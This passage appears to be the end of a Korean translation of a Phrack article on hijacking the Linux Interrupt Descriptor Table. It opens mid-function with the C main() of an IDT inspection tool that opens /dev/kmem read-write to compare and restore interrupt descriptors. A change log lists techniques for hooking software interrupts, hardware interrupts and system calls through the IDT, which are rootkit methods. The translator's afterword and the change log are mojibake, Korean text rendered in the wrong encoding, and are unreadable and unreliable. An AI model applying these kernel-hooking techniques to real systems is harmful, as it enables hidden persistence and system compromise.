while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=| ÇÁ·¢ ¹®¼­ 59È£ 4¹ø ±Û Handling the Interrupt Descriptor Table hijacking-idt-for-profit ÀÇ ¿¹Á¦´Â http://sd.g-art.nl/private/ynit.s ¿¡¼­ ãÀ» ¼ö ÀÖ½À´Ï´Ù. ======================================================================== - ÀÛ¾÷ Èıâ Á¤¸» ÀÌ ¹®¼­¸¦ ¾´ ºÐÀÌ ¿µ¾î±ÇÀÇ »ç¶÷ÀÌ ¾Æ´Ñ ¸ð¾çÀÌ´õ±º¿ä. °è¼Ó °°Àº ¿µ¾îÀÇ ¹Ýº¹°ú ¿ÀŸ ... ±×¸®°í ¿©·¯°¡Áö ¹®Á¦·Î °í»ýÀ» Á¶±Ý Çß½À´Ï´Ù. ½ºÆÀÀÌ ¿Ã¶ó¼­ ÁÙ´ã¹è¸¦ ÇDZâ±îÁö Çß±º¿ä. -_-;; ¾Ñ ... ±× ±×°Ô¾Æ´Ï¶ó Àü ºñ Èí¿¬ÀÚ ÀÔ´Ï´Ù. -_-)a ¿©Æ° »ó´çÈ÷ Àç¹Ì³­ ³»¿ëÀ̰í, ¾ÆÁ÷±îÁö °ËÁõ¿¡ ´ëÇÑ ÀÛ¾÷Àº ¸¶ÃÄÁöÁö ¾ÊÀº »óÅÂÀÔ´Ï´Ù. Ä¿³Î¿¡ µû¶ó¼­ Á¶±Ý¾¿ ´Ù¸¥ ºÎºÐµµ ÀÖ°ÚÁö¸¸ ÈÄÀÏ ½Ã°£À» ³»¾î °ËÁõÀÛ¾÷À» ÇÑ µÚ ¹öÁ¯¾÷À» ÇϰڽÀ´Ï´Ù. ´ººñ ¿©·¯ºÐµé²²´Â ´ë´ÜÈ÷ Á˼ÛÇÒ µû¸§ÀÌÁö¸¸, ¾Æ½Ç¸¸ÇÑ ºÐµéÀº ´Ùµé ¾Ë ¼ö ÀÖÀ» Á¤µµ·Î´Â Á¤¸®¸¦ ÇÏ¿´½À´Ï´Ù. ´Ù½ÃÇѹø °í°³ ¼÷¿© Á˼ÛÇÏ´Ü ¸»À» ÇÏ°í ½Í±¸¿ä. _(__)_ ³³Âß ÀÌ»óÇÑ ºÎºÐ¿¡ ´ëÇØ¼­´Â Á¦ ¸ÞÀÏÁÖ¼Ò·Î ¸ÞÀÏÀ» º¸³»ÁÖ¼¼¿ä. Áú¹®»çÇ×Àº ¾îµð·Î ¿Ã¸®´ÂÁö ¾Æ½ÃÁÒ ? doc by edward ======================================================================== ======================================================================== * Change Log (bout Documentation) - v 0.0.1 : IDT ¸¦ ÀÌ¿ëÇÑ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® ÈÄÅ· IDT ¸¦ ÀÌ¿ëÇÑ Çϵå¿þ¾î ÀÎÅÍ·´Æ® ÈÄÅ· IDT ¸¦ ÀÌ¿ëÇÑ ½Ã½ºÅÛ ÄÝÀÇ ÈÄÅ· (syscall_table À̳ª stub À» »ç¿ëÇÏÁö ¾Ê½À´Ï´Ù.) ========================================================================